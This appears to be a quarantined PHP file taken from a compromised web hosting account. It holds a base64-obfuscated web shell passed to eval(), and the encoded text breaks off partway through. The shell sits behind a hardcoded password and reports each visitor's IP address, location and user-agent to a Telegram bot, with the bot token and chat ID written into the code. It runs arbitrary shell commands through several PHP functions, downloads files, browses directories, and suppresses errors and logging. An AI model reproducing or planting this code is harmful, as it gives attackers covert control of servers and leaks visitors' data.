/home3/vehiclea/.quarantine/DualHex(0x1337).php_c3hcafc8
<?php eval("?>".base64_decode("PD9waHANCkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywgMCk7DQpAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzY0TScpOw0KaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQokYm90VG9rZW4gPSAnNzc3Nzk5ODk0MTpBQUUzb05jZ2Q5WnR3cXhHekJjUE1ycl9TcU1rb0lfZFBMSSc7DQokY2hhdElkID0gJzEyNTYxODMwNjcnOw0KJGlwX3B1YmxpYyA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KJGlwX2ludGVybmFsID0gZ2V0SG9zdEJ5TmFtZShnZXRIb3N0TmFtZSgpKTsNCiR1c2VyX2FnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KJGxvY2F0aW9uX2FwaV91cmwgPSAiaHR0cDovL2lwLWFwaS5jb20vanNvbi8kaXBfcHVibGljIjsNCiRsb2NhdGlvbl9kYXRhID0ganNvbl9kZWNvZGUoZmlsZV9nZXRfY29udGVudHMoJGxvY2F0aW9uX2FwaV91cmwpLCB0cnVlKTsNCmlmICgkbG9jYXRpb25fZGF0YSAmJiAkbG9jYXRpb25fZGF0YVsnc3RhdHVzJ10gPT09ICdzdWNjZXNzJykgew0KICAgICRjb3VudHJ5ID0gJGxvY2F0aW9uX2RhdGFbJ2NvdW50cnknXTsNCiAgICAkY291bnRyeUNvZGUgPSAkbG9jYXRpb25fZGF0YVsnY291bnRyeUNvZGUnXTsNCiAgICAkcmVnaW9uID0gJGxvY2F0aW9uX2RhdGFbJ3JlZ2lvbiddOw0KICAgICRyZWdpb25OYW1lID0gJGxvY2F0aW9uX2RhdGFbJ3JlZ2lvbk5hbWUnXTsNCiAgICAkY2l0eSA9ICRsb2NhdGlvbl9kYXRhWydjaXR5J107DQogICAgJHppcCA9ICRsb2NhdGlvbl9kYXRhWyd6aXAnXTsNCiAgICAkbGF0ID0gJGxvY2F0aW9uX2RhdGFbJ2xhdCddOw0KICAgICRsb24gPSAkbG9jYXRpb25fZGF0YVsnbG9uJ107DQogICAgJHRpbWV6b25lID0gJGxvY2F0aW9uX2RhdGFbJ3RpbWV6b25lJ107DQogICAgJGlzcCA9ICRsb2NhdGlvbl9kYXRhWydpc3AnXTsNCiAgICAkb3JnID0gJGxvY2F0aW9uX2RhdGFbJ29yZyddOw0KICAgICRhcyA9ICRsb2NhdGlvbl9kYXRhWydhcyddOw0KICAgICRhZGRyZXNzID0gIkNvdW50cnk6ICRjb3VudHJ5ICgkY291bnRyeUNvZGUpLCBSZWdpb246ICRyZWdpb25OYW1lICgkcmVnaW9uKSwgQ2l0eTogJGNpdHksIFppcDogJHppcCwgTGF0aXR1ZGU6ICRsYXQsIExvbmdpdHVkZTogJGxvbiwgVGltZXpvbmU6ICR0aW1lem9uZSwgSVNQOiAkaXNwLCBPcmdhbml6YXRpb246ICRvcmcsIEFTOiAkYXMiOw0KfSBlbHNlIHsNCiAgICAkYWRkcmVzcyA9ICJBbGFtYXQgdGlkYWsgZGl0ZW11a2FuIjsNCn0NCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gIsOi4oCTwqwgVXJsIDogJHhfcGF0aFxuw6LigJPCrCBJUCBBZGRyZXNzIDogWyAiIC4gJGlwX3B1YmxpYyAuICIgLSBQdWJsaWMgXSAvIFsgIiAuICRpcF9pbnRlcm5hbCAuICIgLSBQcml2YXRlIF1cbsOi4oCTwqwgQWRkcmVzcyA6IFsgIiAuICRhZGRyZXNzIC4gIiBdXG7DouKAk8KsIFVzZXItQWdlbnQgOiBbICIgLiAkdXNlcl9hZ2VudCAuICIgXSI7DQokdGVsZWdyYW1BcGlVcmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRib3RUb2tlbi9zZW5kTWVzc2FnZT9jaGF0X2lkPSRjaGF0SWQmdGV4dD0iIC4gdXJsZW5jb2RlKCRwZXNhbl9hbGVydCk7DQpmaWxlX2dldF9jb250ZW50cygkdGVsZWdyYW1BcGlVcmwpOw0KDQpoZWFkZXIoIlgtWFNTLVByb3RlY3Rpb246IDAiKTsNCm9iX3N0YXJ0KCk7DQpzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgRkFMU0UpOw0KDQokQXJyYXkgPSBbDQogICAgJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAvLyBmIGkgbCBlIGcgZSB0IGMgbyBuIHQgZSBuIHQgcyA9PiAwDQogICAgJzY5NzM1ZjY0Njk3MicsIC8vIGkgcyBfIGQgaSByID0+IDENCiAgICAnNjY2OTZjNjU1ZjcwNzU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MycsIC8vIGYgaSBsIGUgcCB1IHQgYyBvIG4gdCBlIG4gdCBzICA9PiAyDQogICAgJzY5NzM1ZjY2Njk2YzY1JywgLy8gaSBzIF8gZiBpIGwgZSA9PiAzDQogICAgJzc1NmU2YzY5NmU2YicsIC8vIHUgbiBsIGkgbiBrID0+IDQNCiAgICAnNjY3NTZlNjM3NDY5NmY2ZTVmNjU3ODY5NzM3NDczJywgLy8gZiB1IG4gYyB0IGkgbyBuIF8gZSB4IGkgcyB0IHMgPT4gNQ0KICAgICc2MjYxNzM2NTM2MzQ1ZjY1NmU2MzZmNjQ2NScsIC8vIGIgYSBzIGUgNiA0IF8gZCBlIGMgbyBkIGUgPT4gNg0KICAgICc2NzY1NzQ2Mzc3NjQnIC8vIGcgZSB0IGMgdyBkID0+IDcNCl07DQokaGl0dW5nX2FycmF5ID0gY291bnQoJEFycmF5KTsNCmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsNCiAgICAkZnVuZ3NpW10gPSB1bmhleCgkQXJyYXlbJGldKTsNCn0NCmVycm9yX3JlcG9ydGluZygwKTsNCkBjbGVhcnN0YXRjYWNoZSgpOw0KQG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxudWxsKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQpAaW5pX3NldCgnZGlzYWJsZV9mdW5jdGlvbnMnLCAwKTsNCnNlc3Npb25fc3RhcnQoKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoIkFzaWEvSmFrYXJ0YSIpOw0KJF83ID0gYXJyYXlfbWVyZ2UoJF9QT1NULCAkX0dFVCk7DQokX3IgPSAicmVxdWlyZWQ9J3JlcXVpcmVkJyI7DQokZ2N3ID0gImdldGN3ZCI7DQokY29ycmVjdFBhc3N3b3JkID0gIjB4MTMzNyI7DQppZiAoaXNzZXQoJF9QT1NUWydwYXNzJ10pKSB7DQogICAgJGVudGVyZWRQYXNzd29yZCA9ICRfUE9TVFsncGFzcyddOw0KICAgIGlmICgkZW50ZXJlZFBhc3N3b3JkID09PSAkY29ycmVjdFBhc3N3b3JkKSB7DQogICAgICAgICRfU0VTU0lPTlsnZm9yYmlkZGVuJ10gPSB0cnVlOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGVjaG8gJzxzY3JpcHQ+YWxlcnQoIndoYXQgZG8gdSB3YW50IHRvIGRvPyBmdWNrIGJpdGNoISIpOzwvc2NyaXB0Pic7DQogICAgfQ0KfQ0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkpIHsNCiAgICBzZXNzaW9uX3Vuc2V0KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogICAgaGVhZGVyKCJMb2NhdGlvbjogIi4kX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQogICAgZXhpdCgpOw0KfQ0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2ZvcmJpZGRlbiddKSkgew0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5EdWFsSGV4IEluYy48L3RpdGxlPg0KPG1ldGEgbmFtZT0ncm9ib3RzJyBjb250ZW50PSdub2luZGV4LCBub2ZvbGxvdywgbm9hcmNoaXZlJz4NCjxtZXRhIG5hbWU9J3RoZW1lIGNvbG9yJyBjb250ZW50PScjRkZGRkZGJz4NCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHkgew0KICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnIycpOw0KICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7DQogICAgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7DQogICAgaGVpZ2h0OiAxMDB2aDsNCiAgICBtYXJnaW46IDA7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgYmFja2dyb3VuZC1jb2xvcjogd2hpdGU7DQp9DQpoMSB7DQogICAgY29sb3I6ICNGRkZGRkY7DQp9DQppbWcgew0KICAgIG9wYWNpdHk6IDAuNTsNCiAgICB3aWR0aDogMjAwcHg7DQogICAgaGVpZ2h0OiAzMDBweDsNCn0NCmZvcm0gew0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCiAgICBtYXJnaW4tdG9wOiAyMHB4Ow0KfQ0KaW5wdXRbdHlwZT0ncGFzc3dvcmQnXSB7DQogICAgcGFkZGluZzogNXB4Ow0KfQ0KaW5wdXRbdHlwZT0nc3VibWl0J10gew0KICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkY7DQogICAgY29sb3I6IHdoaXRlOw0KICAgIGJvcmRlcjogbm9uZTsNCiAgICBwYWRkaW5nOiA1cHggMTBweDsNCiAgICBjdXJzb3I6IHBvaW50ZXI7DQp9DQo8L3N0eWxlPg0KPGJvZHk+DQo8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KICAgIDxpbnB1dCB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncGFzcycgc3R5bGU9J2JvcmRlcjogbm9uZTsnIHJlcXVpcmVkPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHANCmV4aXQ7DQp9DQo/Pg0KDQoJPD9waHANCglpZihpc3NldCgkXzdbImxlZnQiXSkpIHsNCgkJc2Vzc2lvbl9zdGFydCgpOw0KCQlzZXNzaW9uX2Rlc3Ryb3koKTsNCgkJZWNobyAnPHNjcmlwdD53aW5kb3cubG9jYXRpb249IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJyI7PC9zY3JpcHQ+JzsNCgl9DQoJaWYoaXNzZXQoJF83WydvcG4nXSkgJiYgKCRfN1snb3BuJ10gIT0gJycpICYmICgkXzdbJ2FjdGlvbiddID09ICdkb3dubG9hZCcpKXsNCgkJQG9iX2NsZWFuKCk7DQoJCSRmaWxlID0gJF83WydvcG4nXTsNCgkJaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7DQoJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZmlsZSkuJyInKTsNCgkJaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQoJCWhlYWRlcignQ2FjaGUtQ29udHJvbDogbXVzdC1yZXZhbGlkYXRlJyk7DQoJCWhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoJCXJlYWRmaWxlKCRmaWxlKTsNCgkJZXhpdDsNCgl9DQoJZnVuY3Rpb24gdygkZGlyLCRwZXJtKSB7DQoJCWlmKCFpc193cml0YWJsZSgkZGlyKSkgew0KCQkJcmV0dXJuICI8cmQ+Ii4kcGVybS4iPC9yZD4iOw0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuICI8Z3I+Ii4kcGVybS4iPC9ncj4iOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIHMoKXsNCgkJZWNobyAnPHN0eWxlPnRhYmxle2Rpc3BsYXk6bm9uZTt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj48aHI+PC9kaXY+JzsNCgl9DQoJZnVuY3Rpb24gb2soKXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtc3VjY2VzcyBhbGVydC1kaXNtaXNzaWJsZSBmYWRlIHNob3cgbXktMyIgcm9sZT0iYWxlcnQiPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9ImFsZXJ0IiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+JzsNCgl9DQoJZnVuY3Rpb24gZXIoKXsNCgkJZWNobyAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIGFsZXJ0LWRpc21pc3NpYmxlIGZhZGUgc2hvdyBteS0zIiByb2xlPSJhbGVydCI+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0iYWxlcnQiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4nOw0KCX0NCglmdW5jdGlvbiBzeigkYnl0KXsNCgkJJHR5cCA9IGFycmF5KCdCJywgJ0tCJywgJ01CJywgJ0dCJywgJ1RCJyk7DQoJCWZvcigkaSA9IDA7ICRieXQgPj0gMTAyNCAmJiAkaSA8IChjb3VudCgkdHlwKSAtMSApOyAkYnl0IC89IDEwMjQsICRpKysgKTsNCgkJcmV0dXJuKHJvdW5kKCRieXQsMikuIiAiLiR0eXBbJGldKTsNCgl9DQoJZnVuY3Rpb24gaWEoKSB7DQoJCSRpYSA9ICcnOw0KCWlmIChnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJykpDQoJCSRpYSA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsNCgllbHNlIGlmKGdldGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKSkNCgkJJGlhID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpOw0KCWVsc2UgaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEJykpDQoJCSRpYSA9IGdldGVudignSFRUUF9YX0ZPUldBUkRFRCcpOw0KCWVsc2UgaWYoZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKSkNCgkJJGlhID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRF9GT1InKTsNCgllbHNlIGlmKGdldGVudignSFRUUF9GT1JXQVJERUQnKSkNCgkJJGlhID0gZ2V0ZW52KCdIVFRQX0ZPUldBUkRFRCcpOw0KCWVsc2UgaWYoZ2V0ZW52KCdSRU1PVEVfQUREUicpKQ0KCQkkaWEgPSBnZXRlbnYoJ1JFTU9URV9BRERSJyk7DQoJZWxzZQ0KCQkkaWEgPSAnVW5rbm93biBJUC4nOw0KCXJldHVybiAkaWE7DQoJfQ0KCWZ1bmN0aW9uIGV4ZSgkY21kKSB7DQoJCWlmICgkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJ3N5c3RlbScpKSB7DQoJCQlAb2Jfc3RhcnQoKTsNCgkJCUBzeXN0ZW0oJGNtZCk7DQoJCQkkYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJCXJldHVybiAkYnVmZjsNCgkJfSBlbHNlaWYgKCRHTE9CQUxTWydmdW5nc2knXVs1XSgnZXhlYycpKSB7DQoJCQlAZXhlYygkY21kLCAkcmVzdWx0cyk7DQoJCQkkYnVmZiA9ICIiOw0KCQkJZm9yZWFjaCAoJHJlc3VsdHMgYXMgJHJlc3VsdCkgew0KCQkJCSRidWZmIC49ICRyZXN1bHQ7DQoJCQl9DQoJCQlyZXR1cm4gJGJ1ZmY7DQoJCX0gZWxzZWlmICgkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJ3Bhc3N0aHJ1JykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHBhc3N0aHJ1KCRjbWQpOw0KCQkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCQlyZXR1cm4gJGJ1ZmY7DQoJCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSB7DQoJCQkkcGlwZXMgPSBhcnJheSgpOw0KCQkJJHByb2Nlc3MgPSBAcHJvY19vcGVuKCRjbWQgLiAnIDI+JjEnLCBhcnJheShhcnJheSgicGlwZSIsICJ3IiksIGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpKSwgJHBpcGVzLCBudWxsKTsNCgkJCSRidWZmID0gQHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsNCgkJCUBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsNCgkJCXJldHVybiAkYnVmZjsNCgkJfSBlbHNlaWYgKCRHTE9CQUxTWydmdW5nc2knXVs1XSgnc2hlbGxfZXhlYycpKSB7DQoJCQkkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOw0KCQkJcmV0dXJuICRidWZmOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIGV4ZV9yb290KCRzZXQsJHNhZCkgew0KCQkkeCA9ICJwcmVnX21hdGNoIjsNCgkJJHh4ID0gIjI+JjEiOw0KCQlpZiAoISR4KCIvIi4keHguIi9pIiwgJHNldCkpIHsNCgkJCSRzZXQgPSAkc2V0LiIgIi4keHg7DQoJCX0NCgkJJGEgPSAkR0xPQkFMU1snZnVuZ3NpJ11bNV07DQoJCSRiID0gInByb2Nfb3BlbiI7DQoJCSRjID0gImh0bWxzcGVjaWFsY2hhcnMiOw0KCQkkZCA9ICJzdHJlYW1fZ2V0X2NvbnRlbnRzIjsNCgkJaWYgKCRhKCRiKSkgew0KCQkJJHBzID0gJGIoJHNldCwgYXJyYXkoMCA9PiBhcnJheSgicGlwZSIsICJyIiksIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAyID0+IGFycmF5KCJwaXBlIiwgInIiKSksICRwaW5rLCRzYWQpOw0KCQkJcmV0dXJuICRkKCRwaW5rWzFdKTsNCgkJfSBlbHNlIHsNCgkJCXJldHVybiAicHJvY19vcGVuIGZ1bmN0aW9uIGlzIGRpc2FibGVkICEiOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIGhleCgkbikNCgl7DQoJCSR5ID0gJyc7DQoJCWZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsNCgkJCSR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7DQoJCX0NCgkJcmV0dXJuICR5Ow0KCX0NCglmdW5jdGlvbiB1bmhleCgkeSkNCgl7DQoJCSRuID0gJyc7DQoJCWZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkeSkgLSAxOyAkaSArPSAyKSB7DQoJCQkkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsNCgkJfQ0KCQlyZXR1cm4gJG47DQoJfQ0KCWZ1bmN0aW9uIHAoJGZpbGUpew0KCSRwID0gZmlsZXBlcm1zKCRmaWxlKTsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCgkkaSA9ICdzJzsNCgl9IGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCgkkaSA9ICdsJzsNCgl9IGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApIHsNCgkkaSA9ICctJzsNCgl9IGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCgkkaSA9ICdiJzsNCgl9IGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApIHsNCgkkaSA9ICdkJzsNCgl9IGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApIHsNCgkkaSA9ICdjJzsNCgl9IGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApIHsNCgkkaSA9ICdwJzsNCgl9IGVsc2Ugew0KCSRpID0gJ3UnOw0KCQl9DQoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDQwKSA/DQoJKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6DQoJKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmMHgwMDEwKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwOCkgPw0KCSgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/DQoJKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6DQoJKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQoJfQ0KCWlmKGlzc2V0KCRfN1snZGlyJ10pKSB7DQoJCSRkaXIgPSB1bmhleCgkXzdbJ2RpciddKTsNCgkJY2hkaXIoJGRpcik7DQoJfSBlbHNlIHsNCgkJJGRpciA9IGhleCgkZ2N3KCkpOw0KCX0NCgllY2hvICINCgk8aHRtbD4NCgk8aGVhZD4NCgkJPHRpdGxlPmIxdGV2dWxuPC90aXRsZT4NCgkJPG1ldGEgY2hhcnNldD0nVVRGLTgnPg0KCQk8bWV0YSBuYW1lPSdhdXRob3InIGNvbnRlbnQ9J0R1YWxIZXggSW5jLic+DQoJCTxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+DQoJCTxtZXRhIG5hbWU9J3ZpZXdwb3J0JyBjb250ZW50PSd3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MC43MCc+DQoJCTxsaW5rIHJlbD0naWNvbicgaHJlZj0naHR0cHM6Ly9jaGF0Lm9wZW5haS5jb20vYXBwbGUtdG91Y2gtaWNvbi5wbmcnPg0KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9J2h0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4yL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzJz4NCgkJPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBocmVmPSdodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcC1pY29uc0AxLjMuMC9mb250L2Jvb3RzdHJhcC1pY29ucy5jc3MnPg0KCQk8bGluayByZWw9J3N0eWxlc2hlZXQnIGhyZWY9J2h0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS81LjEzLjAvY3NzL2FsbC5taW4uY3NzJz4NCgkJPHNjcmlwdCBzcmM9J2h0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL3ByaXNtLzEuNi4wL3ByaXNtLmpzJz48L3NjcmlwdD4NCgkJPHNjcmlwdCBzcmM9J2h0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMC4xL2Rpc3QvanMvYm9vdHN0cmFwLmJ1bmRsZS5taW4uanMnPjwvc2NyaXB0Pg0KCQk8c2NyaXB0IHNyYz0naHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzJz48L3NjcmlwdD4NCgkJPHNjcmlwdD4NCgkJZnVuY3Rpb24gdG9nZ2xlU2hlbGxOYW1lSW5wdXQoaXNWaXNpYmxlKSB7DQoJCQl2YXIgc2hlbGxOYW1lSW5wdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmFtYWZpbGUnKTsNCgkJCXNoZWxsTmFtZUlucHV0LnJlcXVpcmVkID0gaXNWaXNpYmxlOw0KCQkJc2hlbGxOYW1lSW5wdXQuc3R5bGUuZGlzcGxheSA9IGlzVmlzaWJsZSA/ICdibG9jaycgOiAnbm9uZSc7DQoJCX0NCgkJd2luZG93Lm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCgkJCXRvZ2dsZVNoZWxsTmFtZUlucHV0KGZhbHNlKTsNCgkJfTsNCgk8L3NjcmlwdD4NCiAgICAgICAgPHN0eWxlPg0KCQkJQGltcG9ydCB1cmwoJ2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9UG9wcGluczp3Z2h0QDEwMDsyMDA7MzAwOzQwMDs1MDA7NjAwOzcwMDs4MDA7OTAwJmRpc3BsYXk9c3dhcCcpOw0KCQkJKnsNCgkJCQlmb250LWZhbWlseTogJ1BvcHBpbnMnLCBzYW5zLXNlcmlmOw0KCQkJCWZvbnQtd2VpZ2h0OiA0MDA7DQoJCQl9DQogICAgICAgICAgICBnciB7DQogICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmQgew0KICAgICAgICAgICAgICAgIGNvbG9yOiByZWQ7DQogICAgICAgICAgICB9DQoJCQljb3JuZXIgew0KICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDwvc3R5bGU+DQogICAgICAgIDxib2R5IGNsYXNzPSdiZy1zZWNvbmRhcnkgdGV4dC1saWdodCc+DQoJPGRpdiBjbGFzcz0nY29udGFpbmVyLWZsdWlkJz4NCgk8ZGl2IGNsYXNzPSdweS0zJyBpZD0nbWFpbic+DQoJCTxkaXYgY2xhc3M9J2JveCBzaGFkb3cgYmctZGFyayBwLTQgcm91bmRlZC0zJz4NCgkJCTxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0IGFudScgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz48aDQ+RHVhbEhleCBJbmMuPC9oND48L2E+IjsNCgkJCWlmKGlzc2V0KCRfN1sncGF0aCddKSl7DQoJCQkJJHBhdGggPSB1bmhleCgkXzdbJ3BhdGgnXSk7DQoJCQkJY2hkaXIoJHBhdGgpOw0KCQkJfWVsc2V7DQoJCQkJJHBhdGggPSAkZ2N3KCk7DQoJCQl9DQoJCQkJJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQoJCQkJJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOw0KCQkJZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsNCgkJCWlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApew0KCQkJCSRhID0gdHJ1ZTsNCgkJCQkJZWNobyAiPGkgY2xhc3M9J2JpIGJpLWhkZC1yYWNrJz48L2k+OjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LWxpZ2h0JyBocmVmPSc/cGF0aD0iLmhleCgnLycpLiInPi88L2E+IjsNCgkJCQljb250aW51ZTsNCgkJCX0NCgkJCWlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOw0KCQkJCWVjaG8gIjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZScgaHJlZj0nP3BhdGg9IjsNCgkJCQlmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KCQkJCWVjaG8gaGV4KCRwYXRoc1skaV0pOw0KCQkJaWYoJGkgIT0gJGlkKSBlY2hvIGhleCgiLyIpOw0KCQkJfQ0KCQkJZWNobyAiJz4iLiRwYXQuIjwvYT4vIjsNCgkJCX0NCgkJCSRyaWIgPSAiaHR0cDovL2lwLWFwaS5jb20vanNvbi97JHl